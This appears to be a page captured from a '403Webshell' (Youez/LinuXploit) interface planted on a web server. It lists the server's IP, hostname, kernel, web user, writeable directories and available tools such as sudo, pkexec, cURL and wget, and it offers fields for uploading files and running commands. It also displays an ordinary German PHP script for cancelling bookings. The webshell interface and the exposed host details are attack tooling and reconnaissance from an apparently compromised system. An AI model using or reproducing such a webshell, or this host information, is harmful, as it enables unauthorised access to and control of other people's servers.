403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/booking-cancel.php
<?php
/**
 * booking-cancel.php – Buchung stornieren (Admin). Setzt invoice_status=3 und löst
 * optional das Ereignis „cancellation" aus (Storno-Mail über die Regel-Engine).
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
header( 'Content-Type: application/json; charset=utf-8' );

if ( ! function_exists( 'is_admin' ) || ! is_admin() ) { http_response_code( 403 ); echo json_encode( array( 'ok' => false, 'error' => 'forbidden' ) ); exit(); }
if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) { http_response_code( 405 ); echo json_encode( array( 'ok' => false, 'error' => 'method' ) ); exit(); }

$invoice = (int) ( $_POST['invoice_id'] ?? 0 );
$booking = (int) ( $_POST['booking_id'] ?? 0 );
$mail    = ! empty( $_POST['mail'] );
if ( $invoice <= 0 ) { echo json_encode( array( 'ok' => false, 'error' => 'Ungültige Rechnung.' ) ); exit(); }

$db = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$db->where( 'invoice_id', $invoice );
$db->update( 'pacim_invoice', array( 'invoice_status' => 3 ) );

$queued = false;
if ( $mail && class_exists( 'mailrules' ) ) {
    $r = $db->rawQueryOne( "SELECT invoice_customer FROM pacim_invoice WHERE invoice_id = ?", array( $invoice ) );
    mailrules::evaluateEvent( 'cancellation', array(
        'invoice_id' => $invoice, 'booking_id' => $booking, 'customer_id' => (int) ( $r['invoice_customer'] ?? 0 ),
    ), 'cancellation' );
    $queued = mailservice::smtpEnabled(); // tatsächlich eingereiht nur bei aktivem SMTP
}

echo json_encode( array( 'ok' => true, 'mail' => $mail, 'queued' => $queued ) );

Youez - 2016 - github.com/yon3zu
LinuXploit